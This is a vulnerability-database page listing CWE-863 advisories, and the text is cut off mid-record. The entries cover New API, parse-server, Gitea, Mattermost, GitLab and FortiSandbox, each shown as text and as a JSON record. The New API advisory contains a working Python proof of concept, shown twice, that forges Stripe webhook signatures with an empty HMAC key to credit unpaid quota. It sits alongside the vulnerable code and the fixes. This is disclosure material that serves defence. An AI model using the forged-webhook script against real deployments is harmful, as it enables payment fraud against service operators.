Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5502 vulnerabilities reference this CWE, most recent first.

GHSA-XFF3-5C9P-2MR4

Vulnerability from github – Published: 2026-04-24 15:43 – Updated: 2026-05-13 13:37
VLAI
Summary
New API: Stripe Webhook Signature Bypass via Empty Secret Enables Unlimited Quota Fraud
Details

Summary

A critical vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:

  1. The Stripe webhook endpoint does not reject requests when StripeWebhookSecret is empty (the default).
  2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively bypassing signature verification entirely.
  3. The Recharge function does not validate that the order's PaymentMethod matches the callback source, enabling cross-gateway exploitation — an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.

Affected Components

  • controller/topup_stripe.go — StripeWebhook(), sessionCompleted()
  • model/topup.go — Recharge(), RechargeCreem(), RechargeWaffo()
  • controller/topup.go — EpayNotify()
  • controller/topup_creem.go — CreemAdaptor.RequestPay() (missing PaymentMethod field)
  • router/api-router.go — webhook route registered without any guard

CWE Classification

  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-1188: Initialization with an Insecure Default (empty webhook secret)
  • CWE-863: Incorrect Authorization (cross-gateway order fulfillment)

Vulnerability Details

Flaw 1: Empty Webhook Secret Bypasses Signature Verification

The StripeWebhookSecret setting defaults to an empty string "". The Stripe Go SDK (webhook.ConstructEventWithOptions) does not reject empty secrets — it computes HMAC-SHA256 with an empty key, producing a deterministic and publicly computable signature.

Vulnerable code (controller/topup_stripe.go):

func StripeWebhook(c *gin.Context) {
    // No check for empty StripeWebhookSecret
    payload, _ := io.ReadAll(c.Request.Body)
    signature := c.GetHeader("Stripe-Signature")
    endpointSecret := setting.StripeWebhookSecret // defaults to ""
    event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...)
    // When secret is "", attacker can compute valid HMAC with the same empty key
}

The webhook route is unconditionally registered with no authentication middleware and no rate limiting:

apiRouter.POST("/stripe/webhook", controller.StripeWebhook)

Flaw 2: Missing payment_status Verification

The sessionCompleted handler only checks status == "complete" but does not verify payment_status == "paid". Stripe's checkout.session.completed event can fire with payment_status = "unpaid" for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or payment_status = "no_payment_required" for 100% discount coupons.

Additionally, checkout.session.async_payment_succeeded and checkout.session.async_payment_failed events are not handled, so delayed payments that ultimately fail are never rolled back.

Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)

The model.Recharge() function (called by the Stripe webhook) looks up orders solely by trade_no and does not validate that the order's PaymentMethod is "stripe":

func Recharge(referenceId string, customerId string) (err error) {
    // Finds ANY pending order by trade_no, regardless of PaymentMethod
    tx.Where("trade_no = ?", referenceId).First(topUp)
    if topUp.Status != "pending" { return }
    // Credits quota without checking topUp.PaymentMethod
    quota = topUp.Money * QuotaPerUnit
    tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota))
}

This allows an attacker to create orders through any configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook — even if Stripe itself was never configured.

Attack Scenario

Prerequisites: Any payment method is configured (e.g., Epay) + StripeWebhookSecret is empty (default).

  1. Attacker registers a user account.
  2. Attacker calls POST /api/user/pay to create an Epay top-up order (e.g., amount=10000). The order is stored with status=pending.
  3. Attacker queries GET /api/user/topup/self to retrieve the trade_no of the pending order.
  4. Attacker computes HMAC-SHA256 with an empty key over a crafted checkout.session.completed payload containing the stolen trade_no as client_reference_id.
  5. Attacker sends POST /api/stripe/webhook with the forged payload and signature header.
  6. The server verifies the signature (passes because the secret is empty), calls Recharge(), which finds the Epay order by trade_no, marks it as success, and credits the full quota.
  7. Attacker repeats steps 2–6 indefinitely for unlimited credits.

Proof of concept (pseudocode):

import hmac, hashlib, time, json, requests

timestamp = int(time.time())
payload = json.dumps({
    "type": "checkout.session.completed",
    "data": {
        "object": {
            "client_reference_id": "<trade_no from step 3>",
            "status": "complete",
            "payment_status": "paid",
            "customer": "cus_fake",
            "amount_total": "0",
            "currency": "usd"
        }
    }
})
# Empty secret = publicly computable signature
sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest()
header = f"t={timestamp},v1={sig}"

requests.post("https://target/api/stripe/webhook",
    data=payload,
    headers={"Stripe-Signature": header, "Content-Type": "application/json"})

Remediation

Fix 1: Reject webhooks when secret is empty

func StripeWebhook(c *gin.Context) {
    if setting.StripeWebhookSecret == "" {
        c.AbortWithStatus(http.StatusForbidden)
        return
    }
    // ... existing logic
}

Fix 2: Verify payment_status and handle async payment events

func sessionCompleted(event stripe.Event) {
    // ... existing status check ...
    paymentStatus := event.GetObjectValue("payment_status")
    if paymentStatus != "paid" {
        return // Wait for async_payment_succeeded event
    }
    fulfillOrder(event, referenceId, customerId)
}

Add handlers for checkout.session.async_payment_succeeded and checkout.session.async_payment_failed.

Fix 3: Validate PaymentMethod in all recharge functions

// In model.Recharge (Stripe):
if topUp.PaymentMethod != "stripe" {
    return ErrPaymentMethodMismatch
}

// In model.RechargeCreem:
if topUp.PaymentMethod != "creem" {
    return ErrPaymentMethodMismatch
}

// In model.RechargeWaffo:
if topUp.PaymentMethod != "waffo" {
    return ErrPaymentMethodMismatch
}

// In controller.EpayNotify:
if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" {
    return // reject cross-gateway fulfillment
}

Additional fix: Set PaymentMethod on Creem order creation

The Creem order creation was missing the PaymentMethod field entirely:

topUp := &model.TopUp{
    // ...
    PaymentMethod: "creem", // was missing
}

Patched Versions

  • v0.12.10 — includes all three fixes described above.

All users are strongly encouraged to upgrade immediately.

Workaround (for users unable to upgrade immediately)

If users cannot upgrade to v0.12.10 right away, apply all of the following mitigations:

  1. Set StripeWebhookSecret to any non-empty value. Go to the admin panel → Payment → Stripe, and set the Webhook Signing Secret to any random string (e.g., whsec_placeholder_do_not_leave_empty). It does not need to be a real Stripe secret — any non-empty value will prevent the empty-key HMAC forgery. This is the single most important step — it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's Stripe Dashboard → Webhooks to ensure legitimate webhooks continue to work.

  2. If Stripe is not in use, block the webhook endpoint. If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to /api/stripe/webhook: nginx location = /api/stripe/webhook { return 403; }

Note: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing payment_status check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. Upgrading is the only complete fix.

Impact

  • Financial fraud: Attacker obtains unlimited API quota without payment.
  • Operator financial loss: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator.
  • Silent exploitation: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult.
  • Wide exposure: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.

Timeline

  • 2025-04-15: Vulnerability reported by @ChangeYu0229
  • 2025-04-15: Vulnerability confirmed and root cause analysis completed
  • 2025-04-15: Fix developed and applied
  • 2025-04-15: Patched in v0.12.10

Resources

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/QuantumNous/new-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.12.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-345",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:43:25Z",
    "nvd_published_at": "2026-05-08T23:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA critical vulnerability exists in the Stripe webhook handler that allows an **unauthenticated attacker to forge webhook events** and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:\n\n1. The Stripe webhook endpoint does not reject requests when `StripeWebhookSecret` is empty (the default).\n2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively **bypassing signature verification entirely**.\n3. The `Recharge` function does not validate that the order\u0027s `PaymentMethod` matches the callback source, enabling **cross-gateway exploitation** \u2014 an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.\n\n## Affected Components\n\n- `controller/topup_stripe.go` \u2014 `StripeWebhook()`, `sessionCompleted()`\n- `model/topup.go` \u2014 `Recharge()`, `RechargeCreem()`, `RechargeWaffo()`\n- `controller/topup.go` \u2014 `EpayNotify()`\n- `controller/topup_creem.go` \u2014 `CreemAdaptor.RequestPay()` (missing `PaymentMethod` field)\n- `router/api-router.go` \u2014 webhook route registered without any guard\n\n## CWE Classification\n\n- **CWE-345**: Insufficient Verification of Data Authenticity\n- **CWE-1188**: Initialization with an Insecure Default (empty webhook secret)\n- **CWE-863**: Incorrect Authorization (cross-gateway order fulfillment)\n\n## Vulnerability Details\n\n### Flaw 1: Empty Webhook Secret Bypasses Signature Verification\n\nThe `StripeWebhookSecret` setting defaults to an empty string `\"\"`. The Stripe Go SDK (`webhook.ConstructEventWithOptions`) does **not** reject empty secrets \u2014 it computes `HMAC-SHA256` with an empty key, producing a deterministic and publicly computable signature.\n\n**Vulnerable code** (`controller/topup_stripe.go`):\n```go\nfunc StripeWebhook(c *gin.Context) {\n    // No check for empty StripeWebhookSecret\n    payload, _ := io.ReadAll(c.Request.Body)\n    signature := c.GetHeader(\"Stripe-Signature\")\n    endpointSecret := setting.StripeWebhookSecret // defaults to \"\"\n    event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...)\n    // When secret is \"\", attacker can compute valid HMAC with the same empty key\n}\n```\n\nThe webhook route is unconditionally registered with **no authentication middleware and no rate limiting**:\n```go\napiRouter.POST(\"/stripe/webhook\", controller.StripeWebhook)\n```\n\n### Flaw 2: Missing `payment_status` Verification\n\nThe `sessionCompleted` handler only checks `status == \"complete\"` but does **not** verify `payment_status == \"paid\"`. Stripe\u0027s `checkout.session.completed` event can fire with `payment_status = \"unpaid\"` for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or `payment_status = \"no_payment_required\"` for 100% discount coupons.\n\nAdditionally, `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed` events are not handled, so delayed payments that ultimately fail are never rolled back.\n\n### Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)\n\nThe `model.Recharge()` function (called by the Stripe webhook) looks up orders solely by `trade_no` and does **not** validate that the order\u0027s `PaymentMethod` is `\"stripe\"`:\n\n```go\nfunc Recharge(referenceId string, customerId string) (err error) {\n    // Finds ANY pending order by trade_no, regardless of PaymentMethod\n    tx.Where(\"trade_no = ?\", referenceId).First(topUp)\n    if topUp.Status != \"pending\" { return }\n    // Credits quota without checking topUp.PaymentMethod\n    quota = topUp.Money * QuotaPerUnit\n    tx.Model(\u0026User{}).Update(\"quota\", gorm.Expr(\"quota + ?\", quota))\n}\n```\n\nThis allows an attacker to create orders through **any** configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook \u2014 even if Stripe itself was never configured.\n\n## Attack Scenario\n\n**Prerequisites**: Any payment method is configured (e.g., Epay) + `StripeWebhookSecret` is empty (default).\n\n1. Attacker registers a user account.\n2. Attacker calls `POST /api/user/pay` to create an Epay top-up order (e.g., `amount=10000`). The order is stored with `status=pending`.\n3. Attacker queries `GET /api/user/topup/self` to retrieve the `trade_no` of the pending order.\n4. Attacker computes `HMAC-SHA256` with an empty key over a crafted `checkout.session.completed` payload containing the stolen `trade_no` as `client_reference_id`.\n5. Attacker sends `POST /api/stripe/webhook` with the forged payload and signature header.\n6. The server verifies the signature (passes because the secret is empty), calls `Recharge()`, which finds the Epay order by `trade_no`, marks it as `success`, and credits the full quota.\n7. Attacker repeats steps 2\u20136 indefinitely for unlimited credits.\n\n**Proof of concept** (pseudocode):\n```python\nimport hmac, hashlib, time, json, requests\n\ntimestamp = int(time.time())\npayload = json.dumps({\n    \"type\": \"checkout.session.completed\",\n    \"data\": {\n        \"object\": {\n            \"client_reference_id\": \"\u003ctrade_no from step 3\u003e\",\n            \"status\": \"complete\",\n            \"payment_status\": \"paid\",\n            \"customer\": \"cus_fake\",\n            \"amount_total\": \"0\",\n            \"currency\": \"usd\"\n        }\n    }\n})\n# Empty secret = publicly computable signature\nsig = hmac.new(b\"\", f\"{timestamp}.{payload}\".encode(), hashlib.sha256).hexdigest()\nheader = f\"t={timestamp},v1={sig}\"\n\nrequests.post(\"https://target/api/stripe/webhook\",\n    data=payload,\n    headers={\"Stripe-Signature\": header, \"Content-Type\": \"application/json\"})\n```\n\n## Remediation\n\n### Fix 1: Reject webhooks when secret is empty\n```go\nfunc StripeWebhook(c *gin.Context) {\n    if setting.StripeWebhookSecret == \"\" {\n        c.AbortWithStatus(http.StatusForbidden)\n        return\n    }\n    // ... existing logic\n}\n```\n\n### Fix 2: Verify `payment_status` and handle async payment events\n```go\nfunc sessionCompleted(event stripe.Event) {\n    // ... existing status check ...\n    paymentStatus := event.GetObjectValue(\"payment_status\")\n    if paymentStatus != \"paid\" {\n        return // Wait for async_payment_succeeded event\n    }\n    fulfillOrder(event, referenceId, customerId)\n}\n```\n\nAdd handlers for `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed`.\n\n### Fix 3: Validate PaymentMethod in all recharge functions\n```go\n// In model.Recharge (Stripe):\nif topUp.PaymentMethod != \"stripe\" {\n    return ErrPaymentMethodMismatch\n}\n\n// In model.RechargeCreem:\nif topUp.PaymentMethod != \"creem\" {\n    return ErrPaymentMethodMismatch\n}\n\n// In model.RechargeWaffo:\nif topUp.PaymentMethod != \"waffo\" {\n    return ErrPaymentMethodMismatch\n}\n\n// In controller.EpayNotify:\nif topUp.PaymentMethod == \"stripe\" || topUp.PaymentMethod == \"creem\" || topUp.PaymentMethod == \"waffo\" {\n    return // reject cross-gateway fulfillment\n}\n```\n\n### Additional fix: Set PaymentMethod on Creem order creation\nThe Creem order creation was missing the `PaymentMethod` field entirely:\n```go\ntopUp := \u0026model.TopUp{\n    // ...\n    PaymentMethod: \"creem\", // was missing\n}\n```\n\n## Patched Versions\n\n- **v0.12.10** \u2014 includes all three fixes described above.\n\nAll users are strongly encouraged to upgrade immediately.\n\n## Workaround (for users unable to upgrade immediately)\n\nIf users cannot upgrade to v0.12.10 right away, apply **all** of the following mitigations:\n\n1. **Set `StripeWebhookSecret` to any non-empty value.** Go to the admin panel \u2192 Payment \u2192 Stripe, and set the Webhook Signing Secret to **any random string** (e.g., `whsec_placeholder_do_not_leave_empty`). It does **not** need to be a real Stripe secret \u2014 any non-empty value will prevent the empty-key HMAC forgery. **This is the single most important step** \u2014 it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project\u0027s [Stripe Dashboard \u2192 Webhooks](https://dashboard.stripe.com/webhooks) to ensure legitimate webhooks continue to work.\n\n2. **If Stripe is not in use, block the webhook endpoint.** If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to `/api/stripe/webhook`:\n   ```nginx\n   location = /api/stripe/webhook {\n       return 403;\n   }\n   ```\n\n\u003e **Note**: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing `payment_status` check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. **Upgrading is the only complete fix.**\n\n## Impact\n\n- **Financial fraud**: Attacker obtains unlimited API quota without payment.\n- **Operator financial loss**: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator.\n- **Silent exploitation**: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult.\n- **Wide exposure**: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.\n\n## Timeline\n\n- **2025-04-15**: Vulnerability reported by [@ChangeYu0229](https://github.com/ChangeYu0229)\n- **2025-04-15**: Vulnerability confirmed and root cause analysis completed\n- **2025-04-15**: Fix developed and applied\n- **2025-04-15**: Patched in v0.12.10\n\n## Resources\n\n- [Stripe Webhook Signature Verification Docs](https://docs.stripe.com/webhooks#verify-official-libraries)\n- [Stripe Checkout Fulfillment Guide \u2014 Handle async payment methods](https://docs.stripe.com/checkout/fulfillment#async-payment-methods)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-1188: Initialization with an Insecure Default](https://cwe.mitre.org/data/definitions/1188.html)",
  "id": "GHSA-xff3-5c9p-2mr4",
  "modified": "2026-05-13T13:37:29Z",
  "published": "2026-04-24T15:43:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-xff3-5c9p-2mr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41432"
    },
    {
      "type": "WEB",
      "url": "https://docs.stripe.com/checkout/fulfillment#async-payment-methods"
    },
    {
      "type": "WEB",
      "url": "https://docs.stripe.com/webhooks#verify-official-libraries"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantumNous/new-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/releases/tag/v0.12.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "New API: Stripe Webhook Signature Bypass via Empty Secret Enables Unlimited Quota Fraud"
}

GHSA-XFF9-CGJH-MVPP

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

Archer before 6.9 P1 (6.9.0.1) contains an improper access control vulnerability in an API. A remote authenticated malicious administrative user can potentially exploit this vulnerability to gather information about the system, and may use this information in subsequent attacks.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-29538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-29T07:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Archer before 6.9 P1 (6.9.0.1) contains an improper access control vulnerability in an API. A remote authenticated malicious administrative user can potentially exploit this vulnerability to gather information about the system, and may use this information in subsequent attacks.",
  "id": "GHSA-xff9-cgjh-mvpp",
  "modified": "2022-05-24T17:40:35Z",
  "published": "2022-05-24T17:40:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29538"
    },
    {
      "type": "WEB",
      "url": "https://community.rsa.com/docs/DOC-115223"
    },
    {
      "type": "WEB",
      "url": "https://www.rsa.com/en-us/company/vulnerability-response-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XFH7-PHR7-GR2X

Vulnerability from github – Published: 2026-03-06 18:45 – Updated: 2026-03-06 22:52
VLAI
Summary
parse-server's file creation and deletion bypasses `readOnlyMasterKey` write restriction
Details

Impact

The readOnlyMasterKey can be used to create and delete files via the Files API (POST /files/:filename, DELETE /files/:filename). This bypasses the read-only restriction which violates the access scope of the readOnlyMasterKey.

Any Parse Server deployment that uses readOnlyMasterKey and exposes the Files API is affected. An attacker with access to the readOnlyMasterKey can upload arbitrary files or delete existing files.

Patches

The fix adds permission checks to both the file upload and file delete handlers.

Workarounds

There is no workaround other than not using readOnlyMasterKey, or restricting network access to the Files API endpoints.

References

  • GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-xfh7-phr7-gr2x
  • Fix for Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.0-alpha.3
  • Fix for Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.5
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.0-alpha.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T18:45:36Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe `readOnlyMasterKey` can be used to create and delete files via the Files API (`POST /files/:filename`, `DELETE /files/:filename`). This bypasses the read-only restriction which violates the access scope of the `readOnlyMasterKey`.\n\nAny Parse Server deployment that uses `readOnlyMasterKey` and exposes the Files API is affected. An attacker with access to the `readOnlyMasterKey` can upload arbitrary files or delete existing files.\n\n### Patches\n\nThe fix adds permission checks to both the file upload and file delete handlers.\n\n### Workarounds\n\nThere is no workaround other than not using `readOnlyMasterKey`, or restricting network access to the Files API endpoints.\n\n### References\n \n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-xfh7-phr7-gr2x\n- Fix for Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.0-alpha.3\n- Fix for Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.5",
  "id": "GHSA-xfh7-phr7-gr2x",
  "modified": "2026-03-06T22:52:58Z",
  "published": "2026-03-06T18:45:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-xfh7-phr7-gr2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/8.6.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/9.5.0-alpha.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "parse-server\u0027s file creation and deletion bypasses `readOnlyMasterKey` write restriction"
}

GHSA-XFQ3-QJ7J-4565

Vulnerability from github – Published: 2025-12-26 03:30 – Updated: 2025-12-26 19:12
VLAI
Summary
Gitea mishandles access to a private resource upon receiving an API token with scope limited to public resources
Details

Gitea before 1.22.3 mishandles access to a private resource upon receiving an API token with scope limited to public resources.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-26T19:12:54Z",
    "nvd_published_at": "2025-12-26T03:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Gitea before 1.22.3 mishandles access to a private resource upon receiving an API token with scope limited to public resources.",
  "id": "GHSA-xfq3-qj7j-4565",
  "modified": "2025-12-26T19:12:54Z",
  "published": "2025-12-26T03:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/32218"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.22.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.22.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea mishandles access to a private resource upon receiving an API token with scope limited to public resources"
}

GHSA-XFQ9-HH5X-XFQ9

Vulnerability from github – Published: 2025-04-10 18:32 – Updated: 2025-04-23 15:06
VLAI
Summary
Mattermost Fails to Enforce Proper Access Controls on `/api/v4/audits` Endpoint
Details

Mattermost versions 9.11.x <= 9.11.8  fail to enforce proper access controls on the /api/v4/audits endpoint, allowing users with delegated granular administration roles who lack access to Compliance Monitoring to retrieve User Activity Logs.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250204211032-f52e08754c49"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-11T14:09:51Z",
    "nvd_published_at": "2025-04-10T16:15:27Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 9.11.x \u003c= 9.11.8\u00a0 fail to enforce proper access controls on the /api/v4/audits endpoint, allowing users with delegated granular administration roles who lack access to Compliance Monitoring to retrieve User Activity Logs.",
  "id": "GHSA-xfq9-hh5x-xfq9",
  "modified": "2025-04-23T15:06:10Z",
  "published": "2025-04-10T18:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24866"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3604"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Fails to Enforce Proper Access Controls on `/api/v4/audits` Endpoint"
}

GHSA-XFXC-C47W-9432

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

An improper access control flaw in GitLab CE/EE since version 13.9 exposes private email address of Issue and Merge Requests assignee to Webhook data consumers

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-39911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-05T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper access control flaw in GitLab CE/EE since version 13.9 exposes private email address of Issue and Merge Requests assignee to Webhook data consumers",
  "id": "GHSA-xfxc-c47w-9432",
  "modified": "2022-05-24T19:19:53Z",
  "published": "2022-05-24T19:19:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39911"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-39911.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/297470"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XG2H-39GR-H327

Vulnerability from github – Published: 2025-03-11 15:31 – Updated: 2025-03-11 15:31
VLAI
Details

An incorrect authorization vulnerability [CWE-863] in FortiSandbox 4.4.0 through 4.4.6 may allow a low priviledged administrator to execute elevated CLI commands via the GUI console menu.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-45328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T15:15:41Z",
    "severity": "HIGH"
  },
  "details": "An incorrect authorization vulnerability [CWE-863] in FortiSandbox 4.4.0 through 4.4.6 may allow a low priviledged administrator to execute elevated CLI commands via the GUI console menu.",
  "id": "GHSA-xg2h-39gr-h327",
  "modified": "2025-03-11T15:31:01Z",
  "published": "2025-03-11T15:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
